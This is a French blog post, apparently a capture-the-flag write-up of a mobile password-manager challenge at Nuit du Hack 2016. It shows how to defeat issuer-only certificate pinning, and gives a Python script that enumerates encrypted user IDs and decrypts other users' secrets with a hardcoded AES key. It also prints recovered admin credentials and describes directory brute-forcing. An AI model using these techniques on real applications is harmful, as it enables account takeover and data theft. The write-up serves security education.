Wavestone était présent en tant que sponsor à la Nuit du Hack 2016 et a organisé pour l’occasion un challenge autour d’une application mobile, pour lequel plusieurs lots étaient à remporter :
#ndh2k16 Le challenge Solucom a commencéPassez sur notre stand en #zone1 pour plus d'infos pic.twitter.com/5klKiHnyve
— SecurityInsider (@SecuInsider) July 2, 2016
L’épreuve
consiste en l’analyse d’un APK disponible via l’adresse :
Après
l’avoir téléchargé et décompressé on procède de manière classique: on décompile
et on analyse le classes.dex en utilisant jd-gui [1] et dex2jar
[2].
$ wget
--no-check-certificate https://52.41.208.29/solupass.apk
$ unzip solupass.apk -d
solupass
$
~/tools/android/dex2jar-0.0.9.15/dex2jar.sh solupass/classes.dex
En parallèle on démarre un proxy d’interception HTTP (burp-suite) ainsi que l’émulateur Android.
$ java -jar
~/tools/burp/burp.jar
$ ./emulator -avd nexus
-http-proxy 127.0.0.1:8080
$ adb install solucom.apk
Après
avoir créé un utilisateur sur l’application, il est possible d’y sauvegarder ou
importer des mots de passe via un WebService.
Les
fonctions ainsi que les endpoints permettant d’interroger le WebService sont
visibles dans la classe Webservice.class :
On
y constate que l’application réalise du “certificate pinning” pauvre en
s’appuyant uniquement sur l’attribut “issuer” du certificat:
SoluSSLSocketFactory(localKeyStore,
new
SoluTrustManager("CN=NDH2K16,OU=Solucom,O=Solucom,L=Paris,ST=IDF,C=FR"));
A
ce stade on souhaite réaliser une interception SSL pour voir les requêtes qui
sont passées au WebService par l’application ce qui gagnerait du temps de
compréhension.
On
pourrait alors patcher l’application en baksmali et la régénérer mais comme on
est un peu pressé, On génère plutôt un certificat SSL qui match le même issuer
avec easy-rsa/openssl.
On
modifie le fichier easy-rsa/vars avec les variables suivantes:
KEY_COUNTRY="FR"
KEY_PROVINCE="IDF"
KEY_CITY="Paris"
KEY_ORG="Solucom"
KEY_EMAIL=""
KEY_OU="Solucom"
$./build-ca
La
fonction d’import nous intéresse en premier lieu. On voit qu’elle transmet un
id utilisateur sous forme chiffré, on pense donc rapidement à une élévation de
privilège horizontale.
Le
paramètre transmis dans la méthode “importSoluPass” provient de paramUser.getCipherId().
En
analysant la méthode UserAlgo.chiffre(), on constate que l’id
utilisateur est chiffré en AES/CBC avec un IV nul et une clé ayant pour valeur
la session en base64 transmise par le serveur lors de la connexion :
En
analysant la méthode réalisant le chiffrement des mots de passe transmis au
serveur PassAlgo.chiffre() on constate que celle-ci utilise une clé
hardcodée dans l’APK et donc la même pour tous les utilisateurs :
On
devine qu’il va falloir exploiter ces 2 vulnérabilités afin d’obtenir le flag.
Élévation horizontale sur le Web-Service afin d’obtenir le mot de passe chiffré
d’un autre utilisateur. Puis, utilisation de la clé hardcodée afin de le
déchiffrer.
Lors
de la création de nos utilisateurs de test sur le WebService, on constate
qu’ils ont pour id utilisateur des nombres supérieur à 500 qui s’incrémentent.
Puisqu’on cherche à obtenir le secret d’un utilisateur antérieur, on va donc
itérer sur les id utilisateurs en partant de notre id afin d’obtenir celui d’un
utilisateur plus récent.
On
sort un script python un peu sale auquel on passe notre session afin d’avoir
une clé pour chiffrer des ID ainsi que la clé hardcodée dans l’APK permettant
de déchiffrer les secrets. On décrémente les ID en partant de 510 jusqu’à 0 en
espérant obtenir un mot de passe intéressant :
from Crypto.Cipher import AES
import base64
import os
import requests
import json
BLOCK_SIZE = 16
PADDING = "\xEB"
pad = lambda s: s +
(BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s:
base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e:
c.decrypt(base64.b64decode(e)).rstrip(PADDING)
secret =
"bMAKTsV0WwyJTBS_"
cipher = AES.new(secret)
secretgeneric =
"w34kcryp7015func"
IV= "\x00"*16
for i in xrange(0,510,-1):
genericcipher = AES.new(secretgeneric, AES.MODE_CBC, IV)
print
"User: " + str(i)
userid =
EncodeAES(cipher, str(i).zfill(16))
session =
requests.Session()
paramsGet
= {"id": userid+"\n"}
cookies =
{"session":"eyJzZXNzaW9uX2tleSI6eyIgYiI6IldXc3hRbE14VW5wV2FrSllaRE5zUzFaRlNsUllkejA5In0sInVzZXJfaWQiOjUxNX0.CllDpw.nv2UMe07QraOjocQJFb9l1ujmX8"}
response
= session.get("https://52.41.208.29/ws/import",
params=paramsGet, headers=headers, cookies=cookies, verify=False)
fu =
json.loads(response.content)
encrypted
= fu['solupass']
if
encrypted == "n+IRW58OlIaLMno0P79FbA==":
continue
print
"User " + str(i) + " Decoding: " + encrypted
print
"Store " + repr(genericcipher.decrypt(base64.b64decode(encrypted)))
Le
script nous donne finalement ce secret intéressant avec l’utilisateur 250 !
{"admin", "password": "yHBb!jchxupaWz",
"description": "web admin cr3dz"}
En
regardant le fichier robots.txt on obtient une grande quantité de répertoire ou
entrées. On réalise donc une attaque par dictionnaire sur celui-ci afin de découvrir
les URLs existantes en utilisant le fichier robots.txt comme dictionnaire.
$ wget https://52.41.208.29/robots.txt|cut
-d':' -f2|tr -d ' ' > dico
001011110110000101100100011011010110100101101110001011010111000001100001011011100110010101101100
Un grand merci à Wavestone pour ce challenge NDH
plutôt réaliste et présentant la particularité de ne pas contenir de morse ou
de base24 ;)
References
Encore bravo à Nicolas qui a gagné la montre connectée Pebble, aux autres équipes ayant remporté le drone et l’antenne WiFi Alfa, ainsi qu’à tous les autres participants !
Aucun commentaire:
Publier un commentaire